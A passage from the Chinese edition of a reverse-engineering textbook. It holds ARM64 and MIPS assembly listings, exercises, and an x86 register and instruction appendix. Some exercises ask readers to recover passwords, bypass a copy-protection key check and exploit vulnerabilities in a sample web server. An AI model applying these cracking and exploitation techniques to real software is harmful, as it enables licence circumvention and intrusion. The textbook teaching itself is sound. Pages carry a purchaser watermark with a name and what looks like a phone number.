.L53 .L16: mov w28, w22 cbz w1, .L54 sub w1, w1, #1 mov w21, w22 b .L19 .L56: mov w1, 1 sub w21, w21, #1 cbz w24, .L55 .L19: mov w24, w21 cbz w1, .L56 sub w1, w1, #1 mov w20, w21 b .L22 .L58: mov w1, 1 sub w20, w20, #1 cbz w25, .L57 .L22: mov w25, w20 cbz w1, .L58 sub w1, w1, #1 mov w26, w20 b .L25 .L60: mov w1, 1 sub w26, w26, #1 cbz w27, .L59 .L25: mov w27, w26 cbz w1, .L60 sub w1, w1, #1 mov w19, w26 b .L28 .L62: mov w23, w19 mov w1, 1 sub w19, w19, #1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 903 cbz w23, .L61 .L28: add w0, w19, 1 cbz w1, .L62 sub w1, w1, #1 mov w23, w19 sub w19, w19, #1 bl ack mov w1, w0 cbnz w23, .L28 .L61: add w1, w1, 1 sub w26, w26, #1 cbnz w27, .L25 .L59: add w1, w1, 1 sub w20, w20, #1 cbnz w25, .L22 .L57: add w1, w1, 1 sub w21, w21, #1 cbnz w24, .L19 .L55: add w1, w1, 1 sub w22, w22, #1 cbnz w28, .L16 .L53: fmov w0, s8 add w1, w1, 1 sub w0, w0, #1 fmov s8, w0 fmov w0, s9 cbnz w0, .L13 .L51: fmov w0, s12 add w1, w1, 1 sub w0, w0, #1 fmov s12, w0 fmov w0, s15 cbnz w0, .L10 .L49: fmov w0, s11 add w1, w1, 1 sub w0, w0, #1 fmov s11, w0 fmov w0, s14 cbnz w0, .L7 .L47: fmov w0, s10 add w1, w1, 1 sub w0, w0, #1 fmov s10, w0 fmov w0, s13 cbnz w0, .L4 .L2: add w0, w1, 1 ldp d8, d9, [sp,96] ldp x19, x20, [sp,16] ldp d10, d11, [sp,112] ldp x21, x22, [sp,32] ldp d12, d13, [sp,128] ldp x23, x24, [sp,48] ldp d14, d15, [sp,144] ldp x25, x26, [sp,64] ldp x27, x28, [sp,80] ldp x29, x30, [sp], 160 ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 904 逆向工程权威指南(下册) 100.7.6 Non-optimizing GCC 4.4.5(MIPS) 指令清单 100.12 Non-optimizing GCC 4.4.5(MIPS)(IDA) f: # CODE XREF: f+64 # f+94 ... var_C = -0xC var_8 = -8 var_4 = -4 arg_0 = 0 arg_4 = 4 addiu $sp, -0x28 sw $ra, 0x28+var_4($sp) sw $fp, 0x28+var_8($sp) sw $s0, 0x28+var_C($sp) move $fp, $sp sw $a0, 0x28+arg_0($fp) sw $a1, 0x28+arg_4($fp) lw $v0, 0x28+arg_0($fp) or $at, $zero bnez $v0, loc_40 or $at, $zero lw $v0, 0x28+arg_4($fp) or $at, $zero addiu $v0, 1 b loc_AC or $at, $zero loc_40: # CODE XREF: f+24 lw $v0, 0x28+arg_4($fp) or $at, $zero bnez $v0, loc_74 or $at, $zero lw $v0, 0x28+arg_0($fp) or $at, $zero addiu $v0, -1 move $a0, $v0 li $a1, 1 jal f or $at, $zero b loc_AC or $at, $zero loc_74: # CODE XREF: f+48 lw $v0, 0x28+arg_0($fp) or $at, $zero addiu $s0, $v0, -1 lw $v0, 0x28+arg_4($fp) or $at, $zero addiu $v0, -1 lw $a0, 0x28+arg_0($fp) move $a1, $v0 jal f or $at, $zero move $a0, $s0 move $a1, $v0 jal f or $at, $zero loc_AC: # CODE XREF: f+38 # f+6C move $sp, $fp lw $ra, 0x28+var_4($sp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 905 lw $fp, 0x28+var_8($sp) lw $s0, 0x28+var_C($sp) addiu $sp, 0x28 jr $ra or $at, $zero 100.8 练习题 2.17 下列程序向 stdout 输出信息,而且每次输出的结果还不一样。请问它输出的是什么信息? 请下载编译后的可执行文件:  Linux x64(go.yurichev.com/17170)。  Mac OS X(go.yurichev.com/17171)。  Linux MIPS(go.yurichev.com/17172)。  Win32(go.yurichev.com/17173)。  Win64(go.yurichev.com/17174)。 可能有个别版本的 Windows 无法执行这个程序。如果发生这种情况,请下载 MSVC 2012 redist. (http://www. microsoft.com/en-us/download/details.aspx?id=30679)。 100.9 练习题 2.18 下列程序会验证密码。请找到它的密码。 另外,它可以接受的密码不是唯一的。请尽可能地多列举一些密码。 您还可以对它进行修改,改变程序的密码:  Win32(go.yurichev.com/17175)。  Linux x86(go.yurichev.com/17176)。  Mac OS X(go.yurichev.com/17177)。  Linux MIPS(go.yurichev.com/17178)。 100.10 练习题 2.19 这组题目和练习题 2.18 的练习内容相同:  Win32(go.yurichev.com/17179)。  Linux x86(go.yurichev.com/17180)。  Mac OS X(go.yurichev.com/17181)。  Linux MIPS(go.yurichev.com/17182)。 100.11 练习题 2.20 下列程序向 stdout 输出信息。请问它输出的是什么信息?  Linux x64(go.yurichev.com/17183)。  Mac OS X(go.yurichev.com/17184)。  Linux ARM Raspberry Pi(go.yurichev.com/17185)。  Linux MIPS(go.yurichev.com/17186)。  Win64(go.yurichev.com/17187)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 110011 章 章 高 高难 难度 度练 练习 习题 题 这种难度题目的解答时间会很长。解答时间可能长达一整天。 101.1 练习题 3.2 下列可执行程序实现了某种著名的加密机制。请问它实现的是什么算法?  Windows x86(go.yurichev.com/17188)。  Linux x86(go.yurichev.com/17189)。  Mac OS X(x64)(go.yurichev.com/17190)。  Linux MIPS(go.yurichev.com/17191)。 101.2 练习题 3.3 下列程序可打开并读取某个文件,而后计算某种值并在屏幕上输出浮点数。请问它实现的是什么功能?  Windows x86(go.yurichev.com/17192)。  Linux x86(go.yurichev.com/17193)。  Mac OS X(x64)(go.yurichev.com/17194)。  Linux MIPS(go.yurichev.com/17195)。 101.3 练习题 3.4 这是一个用密码加、解密文件的工具。虽然我们找到了密文,但是找不到加密密码。此外,我们还知 道原文是英文的文本文件。虽然程序采用了较强的加密机制,但是它存在严重的功能缺陷。这种缺陷大大 降低了解密的难度。 请找到程序的缺陷,并把密文还原为明文。  Windows x86(go.yurichev.com/17196)。  密文下载地址:http://go.yurichev.com/17197。 101.4 练习题 3.5 下列程序实现了版权保护机制。它会读取 key 文件,核对其中的用户名和序列号。 本题的任务分为两个:  (低难度)使用 tracer 或别的 debugger,强制程序认可篡改过的 key 文件。  (中等难度)修改用户名,但是不得修改可执行程序。 程序的下载地址如下:  Windows x86(go.yurichev.com/17198)。  Linux x86(go.yurichev.com/17199)。  Mac OS X(x64)(go.yurichev.com/17200)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 101 章 高难度练习题 907  Linux MIPS(go.yurichev.com/17201)。  Key 文件(go.yurichev.com/17202)。 101.5 练习题 3.6 下列程序属于羽量级的 web 服务器程序。虽然它支持静态文件,但是不支持 cgi 等动态脚本。这个程 序里有 4 个以上的安全漏洞。找到这些漏洞,并且想办法利用它们攻陷服务器。  Windows x86(go.yurichev.com/17203)。  Linux x86(go.yurichev.com/17204)。  Mac OS X(x64)(go.yurichev.com/17205)。 101.6 练习题 3.8 下列程序实现了著名的数据压缩算法。或许是因为原作者在输入代码时敲错了按键,它的解压缩功能 存在问题。我们能够在执行过程中看到它的 bug。 压缩之前的原文件:go.yurichev.com/17206。 压缩之后的压缩包:go.yurichev.com/17207。 解压之后的(故障)文件:go.yurichev.com/17208。 请找到程序中的 bug。如果可能的话,还请修改可执行文件,修补这个 bug。  Windows x86(go.yurichev.com/17209)。  Linux x86(go.yurichev.com/17210)。  Mac OS X(x64)(go.yurichev.com/17211)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 110022 章 章 CCrraacckkm mee//KKeeyyggeennm mee 有关软件知识产权保护措施的相关分析,请参见:http://crackmes.de/users/yonkie/。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附 附录 录 AA xx8866 A.1 数据类型 16 位(8086/80286)、32 位(80386 等)和 64 位系统常用的数据类型有: byte(字节):8 位数据。声明字节型数组和变量的汇编伪指令是 DB。计算机使用寄存器的低 8 位空间存储 字节型数据。也就是说,字节型数据通常存储在(寄存器助记符)AL/BL/CL/DL/AH/BH/ CH/DH/SIL/DIL/R*L 里。 word(字):16 位数据。声明字型数组和变量的汇编伪指令是 DW。计算机使用寄存器的 16 位空间存 储 word 型数据。也就是说,字型数据通常存储在(寄存器助记符)AX/BX/CX/DX/SI/DI/R*W 里。 dword/double word:32 位数据。声明 DWord 型数组和变量的汇编伪指令是 DD。x86 CPU 的标准寄 存器及 x64 CPU 寄存器的 32 位空间都可存储 DWord 型数据。16 位应用程序则用寄存器对来存储 DWord 型数据。 qword/quad word:64 位数据。声明 QWord 型数组和变量的汇编伪指令是 DQ。32 位系统使用一对寄 存器来存储 QWord 型数据。 tbyte(10 字节型):80 位,即 10 字节数据。符合 IEEE 754 标准的 FPU 寄存器都采用这种类型的数据。 paragraph(16 字节型):这种类型的数据主要出现在 MS-DOS 操作系统的程序里。 Windows API 所定义的各种同名的数据类型(包括 BYTE WORD DWORD)及其数据存储空间,同样 遵循上述标准。 A.2 通用寄存器 x86-64 的 CPU 可以直接调用多数通用寄存器的 8 位(byte)和 16 位(word)存储空间。通用寄存器 有前向兼容的特性(可兼容最早的 8080CPU)。早期的 8 位 CPU(例如 8080)可以用一对 8 位寄存器存储 一个 16 位数据。如此一来,面向早期 8080 平台的程序就可以照常访问 16 位寄存器的低 8 位空间、高 8 位 空间,还能够把这两个寄存器的数据当作一个整体的 16 位寄存器使用。x86 平台的这种前向兼容的特性, 或许是为了方便人们在不同平台上移植程序。而采用 RISC 精简指令集的 CPU 则通常没有这种特性。 此外,x86-64 CPU 上有 R 开头的寄存器,而 80386 以后的 CPU 都有 E 开头的寄存器。可见,R-寄存 器属于 64 位寄存器,而 E-寄存器属于 32 位寄存器。 x86-64 CPU 还比 x86 CPU 多了 8 个通用寄存器,即 R8~R15 寄存器。 在 Intel 官方手册中,这些寄存器的低 8 位空间(byte)的助记符带有“L”后缀(例如 R8L),而 IDA 程 序则给它们加上了后缀“B”(例如 R8B)。 A.2.1 RAX/EAX/AX/AL 7 6 5 4 3 2 1 0 RAXx64 EAX AX AH AL 异步社区会员 dearfuture(15918834820) 专享 尊重版权 910 逆向工程权威指南(下册) 又称累加寄存器(Accumulator)。函数的返回值通常保存在这个寄存器里。 A.2.2 RBX/EBX/BX/BL 7 6 5 4 3 2 1 0 RBXx64 EBX BX BH BL A.2.3 RCX/ECX/CX/CL 7 6 5 4 3 2 1 0 RCXx64 ECX CX CH CL 又称计数器(Counter)。“REP”开头的指令、位移运算(SHL/SHR/RxL/RxR)通常都会影响这个寄存 器的状态。 A.2.4 RDX/EDX/DX/DL 7 6 5 4 3 2 1 0 RDXx64 EDX DX DH DL A.2.5 RSI/ESI/SI/SIL 7 6 5 4 3 2 1 0 RSIx64 ESI SI SILx64 又称源寄存器(Source),是 REP MOVSx 和 REP CMPSx 指令默认的数据源。 A.2.6 RDI/EDI/DI/DIL 7 6 5 4 3 2 1 0 RDIx64 EDI DI DILx64 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 911 又称目标寄存器(Destination),是 REP MOVSx、REP STOSx 指令默认的目标寄存器。 A.2.7 R8/R8D/R8W/R8L 7 6 5 4 3 2 1 0 R8 R8D R8W R8L A.2.8 R9/R9D/R9W/R9L 7 6 5 4 3 2 1 0 R9 R9D R9W R9L A.2.9 R10/R10D/R10W/R10L 7 6 5 4 3 2 1 0 R10 R10D R10W R10L A.2.10 R11/R11D/R11W/R11L 7 6 5 4 3 2 1 0 R11 R11D R11W R11L A.2.11 R12/R12D/R12W/R12L 7 6 5 4 3 2 1 0 R12 R12D R12W R12L A.2.12 R13/R13D/R13W/R13L 7 6 5 4 3 2 1 0 R13 R13D R13W R13L 异步社区会员 dearfuture(15918834820) 专享 尊重版权 912 逆向工程权威指南(下册) A.2.13 R14/R14D/R14W/R14L 7 6 5 4 3 2 1 0 R14 R14D R14W R14L A.2.14 R15/R15D/R15W/R15L 7 6 5 4 3 2 1 0 R15 R15D R15W R15L A.2.15 RSP/ESP/SP/SPL 7 6 5 4 3 2 1 0 RSP ESP SP SPL SP 是栈指针 Stack Pointer 的缩写。在初始化之后,它是当前栈地址的指针。 A.2.16 RBP/EBP/BP/BPL 7 6 5 4 3 2 1 0 RBP EBP BP BPL 帧指针(Frame Pointer),通常是局部变量的指针。在调用函数时,它也常常用来传递参数。有关这个 寄存器的详细介绍,请参照本书的 7.1.2 节。 A.2.17 RIP/EIP/IP 7 6 5 4 3 2 1 0 RIPX64 EIP IP 指令指针 instruction pointer 应当总是指向接下来将要执行的那条指令。正常情况下,无法直接干预它 的值。但是,下述指令可以等效地实现调整指令指针的功能: MOV EAX, ... JMP EAX 或者: PUSH Value RET 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 913 A.2.18 段地址寄存器 CS/DS/ES/SS/FS/GS CS/DS/SS/ES 分别代表 Code Segment 代码段寄存器、Data Segment 数据段寄存器、Stack Segment 堆栈 段寄存器和 Extra Segment 附加段寄存器。 在 Win32 系统里,FS 附加段寄存器(Extra Segment Register)承担 TLS(线程本地存储/Thread Local Storage)的角色;而在 Linux 系统里,GS(另一个附加段寄存器)承担这个角色。早期,这两个寄存器用 于实现段式寻址;而现在,它们用于提供更为快速的 TLS 和 TIB(线程信息块/ThreadInformationBlock)功 能。有关段地址寄存器的详细介绍,请参见本书第 94 章。 A.2.19 标识寄存器 标识寄存器即 Eflags。 Bit 位(及掩码) 缩写(及含义) 描 述 0(1) CF(进/借位) 除了常规计算指令之外,专门操作 CF 的指令还有 CLC/STC/CMC 2(4) PF(奇偶标识位) 参见 17.7.1 节 4(0x10) AF(辅助进/借位标识) 6(0x40) ZF(零标识位) ZF 用来反映运算结果是否为 0。如果运算结果为 0,则其值为 1, 否则其值为 0 7(0x80) SF(符号位) 8(0x100) TF(追踪标识) 当追踪标志 TF 被置为 1 时,CPU 进入单步执行方式,即每执行一 条指令,产生一个单步中断请求。这种方式主要用于程序的调试 9(0x200) IF(中断允许标识) 中断允许标志用来决定 CPU 是否响应 CPU 外部的可屏蔽中断发出 的中断请求。CLI/STI 指令可对它进行赋值 10(0x400) DF(方向标识) 决定在执行串操作指令(REP MOVSx、REP CMPSx、REP LODSx 和 REP SCASx)时有关指针寄存器发生调整的方向。CLD/STD 指令 可对它进行赋值 11(0x800) OF(溢出标识) 12,13(0x3000) IOPL(I/O 特权标识)80286 14(0x4000) NT(嵌套任务标志)80286 16(0x10000) RF(重启标识)80386 重启动标识用来控制是否接受调试。如果它的值为 1,那么 CPU 将 忽略 DRx 中的硬件断点调试功能 17(0x20000) VM(虚拟 8086 方式标志)80386 18(0x40000) AC(对准校验方式位)80486 19(0x80000) VIF(虚拟中断标志)Pentium 20(0x100000) VIP(虚拟中断未决标志)Pentium 21(0x200000) ID(标识标志)Pentium 其余的标识位都是保留标识位。 A.3 FPU 寄存器 FPU 栈由 8 个 80 位寄存器构成,这 8 个寄存器分别叫作 ST(0)~ST(7)。IDA 把 ST(0)显示为 ST。FPU 寄存器用于存储符合 IEEE 754 标准的 long double 型数据。这种数据的格式如下表所示。 第 79 位 第 78-64 位 第 63 位 第 62-0 位 符号位 指数位 整数位 尾数(小数)位 异步社区会员 dearfuture(15918834820) 专享 尊重版权 914 逆向工程权威指南(下册) A.3.1 控制字寄存器(16 位) FPU 的控制字(Control Word)用于控制 FPU 的行为。 位 缩写(及含义) 描 述 0 IM(无效操作掩码) 1 DM(操作数规格异常掩码) 2 ZM(除数为 0 的掩码) 3 OM(上溢/溢出掩码) 4 UM(下溢/溢出掩码) 5 PM(精度异常掩码) 7 IEM(异常中断位/软件处理控制位) 第 0~5 位掩码控制功能的总开关,现在的 FPU 已经不可对其赋 值。若 IEM 为 0,则由 FPU 处理所有的异常信息,从而对软件屏 蔽了所有的错误信息。默认值为 1 8,9 PC(精度控制) 00:IEEE 单精度 24 位(REAL4) 01:保留 10:IEEE 双精度 53 位(REAL8) 11:IEEE 扩展双精度 64 位(REAL10) 10,11 RC(舍入控制) 00:就近舍入(默认) 01:向−∞舍入 10:向+∞舍入 11:截断(向零舍入) 12 IC(无限/∞控制位) 0:按照 unsigned 处理±∞(初始态) 1:按照 signed 处理∞ 若 PM、UM、OM、ZM、DM、IM 字段(第 0~5 位)设置为 1,则由 FPU 处理异常信息(对软件屏 蔽了错误信息);若某位设置为 0,则 FPU 将会在遇到相应异常时进行中断、释放异常信息给应用程序, 程序在处理之后再把控制权返还给 FPU。 A.3.2 状态字寄存器(16 位) FPU 的状态寄存器又称 Fstate,属于只读寄存器。 位序 缩写(及含义) 描 述 15 B(忙) 1:FPU 正在进行运算 0:FPU 可进行下次运算 14 C3(条件代码位 C3) 13,12,11 TOP(栈顶指针) ST(0)使用的物理寄存器 10 C2(条件代码位 C2) 9 C1(条件代码位 C1) 8 C0(条件代码位 C0) 7 IR(中断请求) 6 SF(栈异常) 5 P(精度) 4 U(下溢) 3 O(上溢) 2 Z(运算结果为零) 1 D(操作数规格异常) 0 I(无效操作) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 915 状态位 SF、P、U、O、Z、D、I 用于异常反馈。 有关 C3、C2、C1、C0 的更详细介绍,请参见本书的 17.7.1 节。 在软件使用 st(x)时,FPU 会计算 x 与栈顶指针序号的和,必要的时候还会再计算 8 的模(余数), 以此确定栈指针的物理寄存器地址。 A.3.3 标记字寄存器(16 位) 标志字寄存器总共 16 位。每 2 位为一组,表示 FPU 数据寄存器的使用情况。 位 序 描 述 15,14 Tag(7) 13,12 Tag(6) 11,10 Tag(5) 9,8 Tag(4) 7,6 Tag(3) 5,4 Tag(2) 3,2 Tag(1) 1,0 Tag(0) Tag(x)存储着FPU物理寄存器R(x) ① A.4 SIMD 寄存器 的状态码。 其各值的代表含义是:  00:该寄存器存储着非零的值。  01:该寄存器存储的值为零。  10:寄存器的值为特殊的值,NAN、∞或者无效操作数。  11:寄存器为空。 A.4.1 MMX 寄存器 MMX 寄存器由 8 个 64 位寄存器(MM0~MM7)组成。 A.4.2 SSE 与 AVX 寄存器 SSE 都有 XMM0~XMM7 这 8 个 128 位寄存器,x86-64 系统还有额外的 8 个寄存器(XMM8~XMM15)。 而支持 AVX 指令集的 CPU,它们把 XMM*寄存器扩充为 256 位寄存器。 A.5 FPU 调试寄存器 调试寄存器(Debugging registers)用于实现基于硬件的断点控制。  DR0 为第 1 个断点的地址(线性地址)。  DR1 为第 2 个断点的地址。  DR2 为第 3 个断点的地址。  DR3 为第 4 个断点的地址。 ① 请注意,Tag(x)描述的不是 FPU 逻辑寄存器 ST(x)的状态。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 916 逆向工程权威指南(下册)  DR6 为调试状态寄存器。在调试过程异常时,它负责报告产生异常的原因。  DR7 为用于控制断点调试。 A.5.1 DR6 规格 位序(掩码) 描 述 0(1) B0:触发了断点 DR0 1(2) B1:触发了断点 DR1 2(4) B2:触发了断点 DR2 3(8) B3:触发了断点 DR3 13(0x2000) BD:仅在 DR7 的 GD 为 1 的情况下有效。只有当下一条指令要访问到某一个调试寄存器的时 候,BD 位才被置位(1) 14(0x4000) BS:当进行单步调试的时候,即 EFLAGS 的 TF 标识位被置位的时候,BS 才被置位。单步调 试具有最高的调试优先级,不受其他标识位影响 15(0x8000) BT:任务切换标识位 单步调试断点是在执行一条指令之后发生的断点。设置 EFLAGS(附录 A.2.19)的 TF 标识,即可实 现单步调试。 A.5.2 DR7 规格 DR7 用于控制断点类型。 位序(掩码) 描 述 0(1) L0:在当前任务的 DR0 处设置断点 1(2) G0:在所有任务中都设置 DR0 的断点 2(4) L1:在当前任务的 DR1 处设置断点 3(8) G1:在所有任务中都设置 DR1 的断点 4(0x10) L2:在当前任务的 DR2 处设置断点 5(0x20) G2:在所有任务中都设置 DR2 的断点 6(0x40) L3:在当前任务的 DR3 处设置断点 7(0x80) G3:在所有任务中都设置 DR3 的断点 8(0x100) LE:P6 以及 P6 以后的处理器不支持这个标识位。如果被置位,那么 FPU 将会在当前任务中 追踪精确的数据断点 9(0x200) GE:P6 以及 P6 以后的处理器不支持这个标识位。如果被置位,那么 FPU 将会在所有任务中 追踪精确的数据断点 13(0x2000) GD:如果置位,那么当 MOV 指令修改 DRx 寄存器的值时,FPU 将进行进行异常处理 16,17(0x3000) 断点 DR0 的触发条件 18,19(0xC000) 断点 DR0 的断点长度 20,21(0x30000) 断点 DR1 的触发条件 22,23(0xC0000) 断点 DR1 的断点长度 24,25(0x300000) 断点 DR2 的触发条件 26,27(0xC00000) 断点 DR2 的断点长度 28,29(0x3000000) 断点 DR3 的触发条件 30,31(0xC000000) 断点 DR3 的断点长度 其中,断点 DRx 的触发条件又分为: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 917  00:执行指令。  01:数据的写操作。  10:读写 I/O(User mode 下不可用)。  11:读写数据。 可见,FPU 断点的触发条件里没有“读取数据”这一项。 FPU 断点长度的规格如下:  00:1 个字节。  01:2 个字节。  10:32 位系统中未定义,64 位系统中代表 8 字节。  11:4 个字节。 A.6 指令 标记为(M)的指令通常都不是编译器生成的指令。这种指令或许属于手写出来的汇编代码,或许属 于编译器的内部指令(参见本书第 90 章)。 本节仅列举那些常见指令。如果需要查看完整的指令说明,请参见《Intel® 64 and IA-32 Architectures Software Developer’s Manual Combined Volumes:1,2A,2B,2C,3A,3B,and 3C》和《AMD64 Architecture Programmer’s Manual》。 我们是不是也要记住指令的 opcode 呢?除非您专门从事给代码打补丁的工作(参见本书第 89 章第 2 节), 否则没那种必要。 A.6.1 指令前缀 LOCK:数据总线封锁前缀。在执行 LOCK 作前缀的汇编指令时,它可起到独占数据总线的作用。简 单地说,在执行这种指令时,多处理器的其他 CPU 都将停下来、等该指令执行结束。这种指令常见于各种 关键系统、(硬件)信号量和互斥锁。 禁止协处理器修改数据总线上的数据,起到独占总线的作用。该指令的执行不影响任何标志位。它常 作为 ADD、AND、BTR、BTS、CMPXCHG、OR、XADD、XOR 指令的前缀。本书的第 68 章第 4 节详细 介绍了这种指令。 REP:与 MOVSx 和 STOSx 指令结合使用,以循环的方式进行数据复制及数据存储。在执行 REP 指 令时,CX/ECX/RCX 寄存器里存储的值将作为隐含的循环计数器。有关 MOVSx 和 STOSx 指令的详细说 明,请参见附录 A.6.2。 REP 指令属于 DF 敏感指令。DF 标识位决定了它的操作方向。 REPE/REPNE:(又称为 REPZ/REPNZ)与 CMPSx 和 SCASx 指令结合使用,以循环的方式进行数值 比较。在执行这种指令时,CX/ECX/RCX 寄存器里存储的值将作为隐含的循环计数器。当 ZF 标识位 为 0(REPE),或 ZF 标识位为 1(REPNE)时,它将终止循环过程。 有关 CMPSx 和 SCASx 的详细描述,请参见附录 A.6.2 和 A.6.3。 REPE/REPNE 指令属于 DF 敏感指令。DF 标识位决定了它的操作方向。 A.6.2 常见指令 ADC(进位加法运算):在进行加法运算时,会把 CF 标识位代表的进位加入和中。它常见于较大数值的 加法运算。例如,在 32 位系统进行 64 位数值的加法运算时,会组合使用 ADD 和 ADC 指令,如下所示: ; 64 位值的运算:val2= val1 + val2. ; .lo 代表低 32 位,.hi 代表高 32 位。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 918 逆向工程权威指南(下册) ADD val1.lo, val2.lo ADC val1.hi,val2.hi;会使用上一条指令设置的 CF 本书的第 24 章有更为详细的使用案例。 ADD:加法运算指令。 AND:逻辑“与”运算指令。 CALL:调用其他函数。相当于“PUSH(CALL 之后的返回地址);JMP label”。 CMP:比较数值、设置标识位。虽然它的运算过程确是减法运算,但是 SUB 指令保存运算结果(差)、 而 CMP 指令不保存运算结果。 DEC:递减运算。它不影响 CF 标识位。 IMUL:有符号数的乘法运算指令。 INC:递增运算。它不影响 CF 标识位。 JCXZ,JECXZ,JRCXZ(M):当 CX/ECX/RCX=0 时跳转。 JMP:跳转到指定地址。相应的 opcode 中含有转移偏移量(jump offset)。 Jcc:条件转移指令。cc 是 condition code 的缩写。 JAE 即 JNC:(unsigned)在大于或等于的情况下进行跳转;转移条件是 CF=0。 JA 即 JNBE:(unsigned)在大于的情况下进行跳转;转移条件是 CF=0 且 ZF=0。 JBE:(unsigned)在小于或等于的条件下进行跳转;转移条件是 CF=1 或 ZF=1。 JB 即 JC:(unsigned)在小于的情况下进行跳转;转移条件是 CF=1 JC 即 JB:在小于的情况下进行跳转;转移条件是 CF=1。 JE 即 JZ:在相等的情况下进行跳转;转移条件是 ZF=1。 JGE:(signed)在大于或等于的情况下进行跳转;转移条件是 SF=OF。 JG:(signed)在大于的情况下进行跳转;转移条件是 ZF=0 且 SF=OF。 JLE:(signed)在小于或等于的情况下进行跳转;转移条件是 ZF=1 或 SF≠OF。 JL:(signed)在小于的条件下进行跳转;转移条件是 SF≠OF。 JNAE 即 JC:(unsigned)在小于(不大于且不相等)的情况下进行跳转;转移条件是 CF=1。 JNA:(unsigned)在不大于的情况下进行跳转;转移条件是 CF=1 或 ZF=1。 JNBE:(unsigned)在大于的情况下进行转移;转移条件是 CF=0 且 ZF=0。 JNB 即 JNC:(unsigned)在不小于的情况下进行跳转;转移条件是 CF=0。 JNC 即 JAE:等同于 JNB;转移条件是 CF=0。 JNE 即 JNZ:在不相等的情况下进行跳转;转移条件是 ZF=0。 JNGE:(signed)在不大于且不等于的情况下进行跳转;转移条件是 SF≠OF。 JNG:(signed)在不大于的情况下进行跳转;转移条件是 ZF=1 或 SF≠OF。 JNLE:(signed)在不大于且不相等的情况下进行跳转;转移条件是 ZF=0 且 SF=OF。 JNL:(signed)在不小于的情况下进行跳转;转移条件是 SF=OF。 JNO:在不溢出的情况下进行跳转;转移条件是 OF=0。 JNS:在 SF 标识位为 0 的情况下进行跳转。 JNZ 即 JNE:在不大于且不等于的情况下进行跳转;转移条件是 ZF=0 JO:在溢出的情况下进行跳转;转移条件是 OF=1。 JPO:在 PF 标识位为零的情况下进行跳转。 JP 即 JPE:在 PF 标识位为 1 的情况下进行跳转。 JS:在 SF 标识位为 1 的情况下进行跳转。 JZ 即 JE:在操作数相等的情况下进行跳转;转移条件是 ZF=1。 LAHF:标识位读取指令。它把标识位复制到 AH 寄存器。数权关系如下表所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 919 7 6 5 4 3 2 1 0 SF ZF AF PF CF LEAVE:等效于“MOV ESP,EBP”“POP EBP”指令的组合。即,这条指令释放当前子程序在堆栈 中的局部变量,恢复栈指针(stack pointer/ESP)和 EBP 寄存器的初始状态。 LEA:有效(偏移)地址传送指令。 这个指令并非调用寄存器的值,也不会进行地址以外的求值运算。它可利用数组地址、元素索引号和 元素空间进行混合运算,求得某个元素的有效地址。 所以,MOV 和 LEA 指令有巨大的差别:MOV 指令会把操作数的值当作地址、而后对这个地址的值 进行读写操作;而 LEA 就对操作数的地址进行直接处理。 因此,LEA 指令也经常用于各种常规计算。 LEA 指令有一个重要的特点—它不会影响 CPU 标识位的状态。对于 OOE(乱序方式执行的指令) 处理器来说,这一特性有利于大幅度降低数据依赖性。 int f(int a, int b) { return a*8+b; }; 使用 MSVC 2010(启用优化功能)编译上述程序,可得到: 指令清单 A.1 优化 MSVC 2010 _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _f PROC mov eax, DWORD PTR _b$[esp-4] mov ecx, DWORD PTR _a$[esp-4] lea eax, DWORD PTR [eax+ecx*8] ret 0 _f ENDP Intel C++编译器生成的汇编代码更为烦琐。例如,在编译下述源代码时: int f1(int a) { return a*13; }; Intel C++生成的汇编代码为: 指令清单 A.2 Intel C++2011 _f1 PROC NEAR mov ecx, DWORD PTR [4+esp] ; ecx = a lea edx, DWORD PTR [ecx+ecx*8] ; edx = a*9 lea eax, DWORD PTR [edx+ecx*4] ; eax = a*9 + a*4 = a*13 ret 即使如此,两条 LEA 指令的执行效率仍然超过了单条 IMUL 指令。 MOVSB/MOVSW/MOVSD/MOVSQ:复制 8 位单字节数据(Byte)/16 位 Word 数据(Word)/32 位 双字型数据(Dword)/64 位四字型数据(Qword)的指令。默认情况下,它将把 SI/ESI/RSI 寄存器里的值 当作源操作数的地址,目标操作数的地址将取自 DI/EDI/RDI 寄存器。 在与 REP 前缀组合使用时,它会把 CX/ECX/RCX 作为循环控制变量进行循环操作。这种情况下,它 就像 C 语言中的 memcpy() 函数那样工作。如果编译器在编译阶段能够确定每个模块的大小,编译器通常 异步社区会员 dearfuture(15918834820) 专享 尊重版权 920 逆向工程权威指南(下册) 使用 REP MOVSx 指令以内连函数的形式实现 memcpy()。 例如,memcpy(EDI,ESI,15)等效于: ; copy 15 bytes from ESI to EDI CLD ; set direction to "forward" MOV ECX, 3 REP MOVSD ; copy 12 bytes MOVSW ; copy 2 more bytes MOVSB ; copy remaining byte 在复制 15 字节的内容时,从寄存器读取的操作效率来看,上述代码的效率要高于 15 次数据读写(MOVSB) 的操作效率。 MOVSX:以符号扩展的方法实现 signed 型数据的类型转换(参见本书 15.1.1 节)。 MOVZX:以用零扩展的方法实现 unsigned 型数据的类型转换(参见本书 15.1.1 节)。 MOV:数据传送指令。“MOV”这个名字与“MOVE”(移动)拼写相似,不过它的功能是复制数据 而非移动数据。在某些平台上,这条指令的名字是“LOAD”或者某个类似的名字。 值得一提的是,当使用 MOV 指令给 32 位寄存器的低 16 位赋值时,寄存器的高 16 位不会发生变化。 而使用 MOV 指令给 64 位寄存器的低 32 位赋值时,寄存器的高 32 位会被清零。 64 位寄存器的高 32 位被自动清零的特性,可能是为了在 x86-64 系统上兼容 32 位程序而有意这样设计的。 MUL:unsigned 型数据的乘法运算指令。 NEG:求补指令(并非补码计算指令)。NEG op 可得到–op。 NOP:NOP 指令。在 x86 平台上的 opcode 是 0x90。这个 opcode 和 XCHG EAX,EAX 的空操作指令 相同。这即是说,x86 